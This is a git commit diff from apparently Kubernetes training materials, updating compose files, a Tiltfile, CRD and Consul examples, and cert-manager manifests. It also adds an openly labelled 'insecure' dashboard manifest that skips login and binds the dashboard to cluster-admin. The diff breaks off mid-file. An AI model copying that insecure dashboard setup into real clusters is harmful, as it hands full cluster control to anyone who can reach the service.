✨ NR ADV K8S Fall 2022 (bis)

I thought that the links were local to each slide, but...
apparently not. Whoops.

.gitignore

@@ -1,9 +1,13 @@
 *.pyc
 *.swp
 *~
+
 prepare-vms/tags
 prepare-vms/infra
 prepare-vms/www
+
+prepare-tf/tag-*
+
 slides/*.yml.html
 slides/autopilot/state.yaml
 slides/index.html

compose/frr-route-reflector/conf/zebra.conf

@@ -1,2 +1,3 @@
 hostname frr
+ip nht resolve-via-default
 log stdout

compose/frr-route-reflector/docker-compose.yaml

@@ -2,30 +2,36 @@ version: "3"
 
 services:
   bgpd:
-    image: ajones17/frr:662
+    image: frrouting/frr:v8.2.2
     volumes:
     - ./conf:/etc/frr
     - ./run:/var/run/frr
     network_mode: host
-    entrypoint: /usr/lib/frr/bgpd -f /etc/frr/bgpd.conf --log=stdout --log-level=debug --no_kernel
+    cap_add:
+    - NET_ADMIN
+    - SYS_ADMIN
+    entrypoint: /usr/lib/frr/bgpd -f /etc/frr/bgpd.conf --log=stdout --log-level=debug --no_kernel --no_zebra
     restart: always
 
   zebra:
-    image: ajones17/frr:662
+    image: frrouting/frr:v8.2.2
     volumes:
     - ./conf:/etc/frr
     - ./run:/var/run/frr
     network_mode: host
+    cap_add:
+    - NET_ADMIN
+    - SYS_ADMIN
     entrypoint: /usr/lib/frr/zebra -f /etc/frr/zebra.conf --log=stdout --log-level=debug
     restart: always
 
   vtysh:
-    image: ajones17/frr:662
+    image: frrouting/frr:v8.2.2
     volumes:
     - ./conf:/etc/frr
     - ./run:/var/run/frr
     network_mode: host
-    entrypoint: vtysh -c "show ip bgp"
+    entrypoint: vtysh
 
   chmod:
     image: alpine

compose/kube-router-k8s-control-plane/docker-compose.yaml

@@ -9,21 +9,21 @@ services:
 
   etcd:
     network_mode: "service:pause"
-    image: k8s.gcr.io/etcd:3.4.3
+    image: k8s.gcr.io/etcd:3.4.9
     command: etcd
 
   kube-apiserver:
     network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.17.2
+    image: k8s.gcr.io/hyperkube:v1.18.8
     command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount --allow-privileged
 
   kube-controller-manager:
     network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.17.2
+    image: k8s.gcr.io/hyperkube:v1.18.8
     command: kube-controller-manager --master http://localhost:8080 --allocate-node-cidrs --cluster-cidr=10.CLUSTER.0.0/16
     "Edit the CLUSTER placeholder first. Then, remove this line.":
     
   kube-scheduler:
     network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.17.2
+    image: k8s.gcr.io/hyperkube:v1.18.8
     command: kube-scheduler --master http://localhost:8080

compose/simple-k8s-control-plane/docker-compose.yaml

@@ -1,3 +1,6 @@
+# Note: hyperkube isn't available after Kubernetes 1.18.
+# So we'll have to update this for Kubernetes 1.19!
+
 version: "3"
 
 services:
@@ -9,20 +12,20 @@ services:
 
   etcd:
     network_mode: "service:pause"
-    image: k8s.gcr.io/etcd:3.4.3
+    image: k8s.gcr.io/etcd:3.4.9
     command: etcd
 
   kube-apiserver:
     network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.17.2
+    image: k8s.gcr.io/hyperkube:v1.18.8
     command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount
 
   kube-controller-manager:
     network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.17.2
+    image: k8s.gcr.io/hyperkube:v1.18.8
     command: kube-controller-manager --master http://localhost:8080
     
   kube-scheduler:
     network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.17.2
+    image: k8s.gcr.io/hyperkube:v1.18.8
     command: kube-scheduler --master http://localhost:8080

dockercoins/Tiltfile

@@ -0,0 +1,72 @@
+# (1) Setting up a registry, and telling Tilt to use it.
+
+# Tilt needs a registry to store images.
+
+# The following manifest defines a Deployment to run a basic Docker registry,
+# and a NodePort Service to access it. Using a NodePort means that we don't
+# need to obtain a TLS certificate, because we will be accessing the registry
+# through localhost.
+k8s_yaml('../k8s/tilt-registry.yaml')
+
+# Tell Tilt to use the registry that we just deployed instead of whatever
+# is defined in our Kubernetes resources. Tilt will patch image names to
+# use our registry.
+default_registry('localhost:30555')
+
+# Create a port forward so that we can access the registry from our local
+# environment, too. Note that if you run Tilt directly from a Kubernetes node
+# (which is not typical, but might happen in some lab/training environments)
+# the following might cause an error because port 30555 is already taken.
+k8s_resource(workload='tilt-registry', port_forwards='30555:5000')
+
+# (2) Telling Tilt how to build and run our app.
+
+# The following two lines will use the kubectl-build plugin
+# to leverage buildkit and build the images in our Kubernetes
+# cluster. This is not enabled by default, because it requires
+# the plugin to be installed.
+# See https://github.com/vmware-tanzu/buildkit-cli-for-kubectl
+# for more information about this plugin.
+#load('ext://kubectl_build', 'kubectl_build')
+#docker_build = kubectl_build
+
+# Our Kubernetes manifests use images 'dockercoins/...' so we tell Tilt
+# how each of these images should be built. The first argument is the name
+# of the image, the second argument is the directory containing the build
+# context (i.e. the Dockerfile to build the image).
+docker_build('dockercoins/hasher', 'hasher')
+docker_build('dockercoins/rng', 'rng')
+docker_build('dockercoins/webui', 'webui')
+docker_build('dockercoins/worker', 'worker')
+
+# The following manifests defines five Deployments and four Services for
+# our application.
+k8s_yaml('../k8s/dockercoins.yaml')
+
+# (3) Finishing touches.
+
+# The following line lets Tilt run with the default kubeadm cluster-admin context.
+allow_k8s_contexts('kubernetes-admin@kubernetes')
+
+# Note: the whole section below (to set up ngrok tunnels) is disabled,
+# because ngrok now requires to set up an account to serve HTML
+# content. So we can still use ngrok for e.g. webhooks and "raw" APIs,
+# but not to serve web pages like the Tilt UI.
+
+# # This will run an ngrok tunnel to expose Tilt to the outside world.
+# # This is intended to be used when Tilt runs on a remote machine.
+# local_resource(name='ngrok:tunnel', serve_cmd='ngrok http 10350')
+
+# # This will wait until the ngrok tunnel is up, and show its URL to the user.
+# # We send the output to /dev/tty so that it doesn't get intercepted by
+# # Tilt, and gets displayed to the user's terminal instead.
+# # Note: this assumes that the ngrok instance will be running on port 4040.
+# # If you have other ngrok instances running on the machine, this might not work.
+# local_resource(name='ngrok:showurl', cmd='''
+#   while sleep 1; do
+#     TUNNELS=$(curl -fsSL http://localhost:4040/api/tunnels | jq -r .tunnels[].public_url)
+#     [ "$TUNNELS" ] && break
+#   done
+#   printf "\nYou should be able to connect to the Tilt UI with the following URL(s): %s\n" "$TUNNELS" >/dev/tty
+#   '''
+# )

dockercoins/webui/Dockerfile

@@ -1,6 +1,6 @@
 FROM node:4-slim
 RUN npm install express
-RUN npm install redis
+RUN npm install redis@3
 COPY files/ /files/
 COPY webui.js /
 CMD ["node", "webui.js"]

dockercoins/webui/files/index.html

@@ -13,7 +13,7 @@
     color: royalblue;
 }
 </style>
-<script src="jquery.js"></script>
+<script src="jquery-1.11.3.min.js"></script>
 <script src="d3.min.js"></script>
 <script src="rickshaw.min.js"></script>
 <script>

dockercoins/webui/files/jquery.js

@@ -1 +0,0 @@
-jquery-1.11.3.min.js

k8s/Tiltfile.helmchart

@@ -0,0 +1,8 @@
+k8s_yaml(helm(
+    "./path-to-chart", name="blue",
+    values=[], # Example: ["./path/to/values.yaml"]
+    set=[
+        "image.repository=jpetazzo/color",
+        "image.tag=latest",
+    ]
+))

k8s/admission-configuration.yaml

@@ -0,0 +1,16 @@
+apiVersion: apiserver.config.k8s.io/v1
+kind: AdmissionConfiguration
+plugins:
+- name: PodSecurity
+  configuration:
+    apiVersion: pod-security.admission.config.k8s.io/v1alpha1
+    kind: PodSecurityConfiguration
+    defaults:
+      enforce: baseline
+      audit: baseline
+      warn: baseline
+    exemptions:
+      usernames:
+      - cluster-admin
+      namespaces:
+      - kube-system

k8s/certbot.yaml

@@ -0,0 +1,36 @@
+kind: Service
+apiVersion: v1
+metadata:
+  name: certbot
+spec:
+  ports:
+  - port: 80
+    protocol: TCP
+---
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: certbot
+spec:
+  rules:
+  - http:
+      paths:
+      - path: /.well-known/acme-challenge/
+        pathType: Prefix
+        backend:
+          service:
+            name: certbot
+            port:
+              number: 80
+---
+apiVersion: v1
+kind: Endpoints
+metadata:
+  name: certbot
+subsets:
+- addresses:
+  - ip: A.B.C.D
+  ports:
+  - port: 8000
+    protocol: TCP
+

k8s/cm-certificate.yaml

@@ -0,0 +1,11 @@
+apiVersion: cert-manager.io/v1
+kind: Certificate
+metadata:
+  name: xyz.A.B.C.D.nip.io
+spec:
+  secretName: xyz.A.B.C.D.nip.io
+  dnsNames:
+  - xyz.A.B.C.D.nip.io
+  issuerRef:
+    name: letsencrypt-staging
+    kind: ClusterIssuer

k8s/cm-clusterissuer.yaml

@@ -0,0 +1,18 @@
+apiVersion: cert-manager.io/v1
+kind: ClusterIssuer
+metadata:
+  name: letsencrypt-staging
+spec:
+  acme:
+    # Remember to update this if you use this manifest to obtain real certificates :)
+    email: hello@example.com
+    server: https://acme-staging-v02.api.letsencrypt.org/directory
+    # To use the production environment, use the following line instead:
+    #server: https://acme-v02.api.letsencrypt.org/directory
+    privateKeySecretRef:
+      name: issuer-letsencrypt-staging
+    solvers:
+    - http01:
+        ingress:
+          class: traefik
+

k8s/coffee-1.yaml

@@ -1,3 +1,6 @@
+# Note: apiextensions.k8s.io/v1beta1 is deprecated, and won't be served
+# in Kubernetes 1.22 and later versions. This YAML manifest is here just
+# for reference, but it's not intended to be used in modern trainings.
 apiVersion: apiextensions.k8s.io/v1beta1
 kind: CustomResourceDefinition
 metadata:

k8s/coffee-2.yaml

@@ -4,6 +4,13 @@ metadata:
   name: coffees.container.training
 spec:
   group: container.training
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
   scope: Namespaced
   names:
     plural: coffees
@@ -11,25 +18,4 @@ spec:
     kind: Coffee
     shortNames:
     - cof
-  versions:
-  - name: v1alpha1
-    served: true
-    storage: true
-    schema:
-      openAPIV3Schema:
-        properties:
-          spec:
-            required:
-            - taste
-            properties:
-              taste:
-                description: Subjective taste of that kind of coffee bean
-                type: string
-    additionalPrinterColumns:
-    - jsonPath: .spec.taste
-      description: Subjective taste of that kind of coffee bean
-      name: Taste
-      type: string
-    - jsonPath: .metadata.creationTimestamp
-      name: Age
-      type: date
+

k8s/coffee-3.yaml

@@ -0,0 +1,37 @@
+apiVersion: apiextensions.k8s.io/v1
+kind: CustomResourceDefinition
+metadata:
+  name: coffees.container.training
+spec:
+  group: container.training
+  scope: Namespaced
+  names:
+    plural: coffees
+    singular: coffee
+    kind: Coffee
+    shortNames:
+    - cof
+  versions:
+  - name: v1alpha1
+    served: true
+    storage: true
+    schema:
+      openAPIV3Schema:
+        type: object
+        required: [ spec ]
+        properties:
+          spec:
+            type: object
+            properties:
+              taste:
+                description: Subjective taste of that kind of coffee bean
+                type: string
+            required: [ taste ]
+    additionalPrinterColumns:
+    - jsonPath: .spec.taste
+      description: Subjective taste of that kind of coffee bean
+      name: Taste
+      type: string
+    - jsonPath: .metadata.creationTimestamp
+      name: Age
+      type: date

k8s/coffees.yaml

@@ -9,9 +9,9 @@ spec:
 kind: Coffee
 apiVersion: container.training/v1alpha1
 metadata:
-  name: robusta
+  name: excelsa
 spec:
-  taste: stronger
+  taste: fruity
 ---
 kind: Coffee
 apiVersion: container.training/v1alpha1
@@ -23,7 +23,12 @@ spec:
 kind: Coffee
 apiVersion: container.training/v1alpha1
 metadata:
-  name: excelsa
+  name: robusta
 spec:
-  taste: fruity
-
+  taste: stronger
+  bitterness: high
+---
+kind: Coffee
+apiVersion: container.training/v1alpha1
+metadata:
+  name: java

k8s/consul-1.yaml

@@ -0,0 +1,78 @@
+# Basic Consul cluster using Cloud Auto-Join.
+# Caveats:
+# - no actual persistence
+# - scaling down to 1 will break the cluster
+# - pods may be colocated
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: consul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: consul
+spec:
+  serviceName: consul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: consul
+  template:
+    metadata:
+      labels:
+        app: consul
+    spec:
+      serviceAccountName: consul
+      containers:
+        - name: consul
+          image: "consul:1.11"
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"

k8s/consul-2.yaml

@@ -1,5 +1,15 @@
+# Better Consul cluster.
+# There is still no actual persistence, but:
+# - podAntiaffinity prevents pod colocation
+# - clusters works when scaling down to 1 (thanks to lifecycle hook)
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
 apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
+kind: Role
 metadata:
   name: consul
 rules:
@@ -11,22 +21,16 @@ rules:
       - list
 ---
 apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
+kind: RoleBinding
 metadata:
   name: consul
 roleRef:
   apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
+  kind: Role
   name: consul
 subjects:
   - kind: ServiceAccount
     name: consul
-    namespace: default
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: consul
 ---
 apiVersion: v1
 kind: Service
@@ -59,20 +63,22 @@ spec:
         podAntiAffinity:
           requiredDuringSchedulingIgnoredDuringExecution:
             - labelSelector:
-                matchExpressions:
-                  - key: app
-                    operator: In
-                    values:
-                      - consul
+                matchLabels:
+                  app: consul
               topologyKey: kubernetes.io/hostname
       terminationGracePeriodSeconds: 10
       containers:
         - name: consul
-          image: "consul:1.6"
+          image: "consul:1.11"
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
           args:
             - "agent"
             - "-bootstrap-expect=3"
-            - "-retry-join=provider=k8s label_selector=\"app=consul\""
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
             - "-client=0.0.0.0"
             - "-data-dir=/consul/data"
             - "-server"
@@ -80,7 +86,4 @@ spec:
           lifecycle:
             preStop:
               exec:
-                command:
-                - /bin/sh
-                - -c
-                - consul leave
+                command: [ "sh", "-c", "consul leave" ]

k8s/consul-3.yaml

@@ -0,0 +1,99 @@
+# Even better Consul cluster.
+# That one uses a volumeClaimTemplate to achieve true persistence.
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: consul
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: consul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: consul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: consul
+subjects:
+  - kind: ServiceAccount
+    name: consul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: consul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: consul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: consul
+spec:
+  serviceName: consul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: consul
+  volumeClaimTemplates:
+    - metadata:
+        name: data
+      spec:
+        accessModes:
+          - ReadWriteOnce
+        resources:
+          requests:
+            storage: 1Gi
+  template:
+    metadata:
+      labels:
+        app: consul
+    spec:
+      serviceAccountName: consul
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            - labelSelector:
+                matchLabels:
+                  app: consul
+              topologyKey: kubernetes.io/hostname
+      terminationGracePeriodSeconds: 10
+      containers:
+        - name: consul
+          image: "consul:1.11"
+          volumeMounts:
+            - name: data
+              mountPath: /consul/data
+          env:
+            - name: NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=consul\" namespace=\"$(NAMESPACE)\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"
+          lifecycle:
+            preStop:
+              exec:
+                command: [ "sh", "-c", "consul leave" ]

k8s/dashboard-insecure.yaml

@@ -0,0 +1,340 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-certs
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-csrf
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-key-holder
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+data: null
+kind: ConfigMap
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-settings
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-metrics
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-metrics
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+rules:
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-key-holder
+  - kubernetes-dashboard-certs
+  - kubernetes-dashboard-csrf
+  resources:
+  - secrets
+  verbs:
+  - get
+  - update
+  - delete
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-settings
+  resources:
+  - configmaps
+  verbs:
+  - get
+  - update
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - dashboard-metrics-scraper
+  resources:
+  - services
+  verbs:
+  - proxy
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - 'http:heapster:'
+  - 'https:heapster:'
+  - dashboard-metrics-scraper
+  - http:dashboard-metrics-scraper
+  resources:
+  - services/proxy
+  verbs:
+  - get
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Service
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+    kubernetes.io/cluster-service: "true"
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  ports:
+  - name: http
+    port: 443
+    targetPort: http
+  selector:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/name: kubernetes-dashboard
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/component: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/name: kubernetes-dashboard
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  template:
+    metadata:
+      annotations: null
+      labels:
+        app.kubernetes.io/component: kubernetes-dashboard
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/name: kubernetes-dashboard
+        app.kubernetes.io/version: 2.6.1
+        helm.sh/chart: kubernetes-dashboard-5.10.0
+    spec:
+      containers:
+      - args:
+        - --namespace=kubernetes-dashboard
+        - --sidecar-host=http://127.0.0.1:8000
+        - --enable-skip-login
+        - --enable-insecure-login
+        image: kubernetesui/dashboard:v2.6.1
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 9090
+            scheme: HTTP
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: kubernetes-dashboard
+        ports:
+        - containerPort: 9090
+          name: http
+          protocol: TCP
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /certs
+          name: kubernetes-dashboard-certs
+        - mountPath: /tmp
+          name: tmp-volume
+      - image: kubernetesui/metrics-scraper:v1.0.8
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8000
+            scheme: HTTP
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: dashboard-metrics-scraper
+        ports:
+        - containerPort: 8000
+          protocol: TCP
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-volume
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - emptyDir: {}
+        name: tmp-volume
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard:insecure
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard

k8s/dashboard-recommended.yaml

@@ -0,0 +1,325 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-certs
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-csrf
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-key-holder
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+data: null
+kind: ConfigMap
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-settings
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-metrics
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-metrics
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
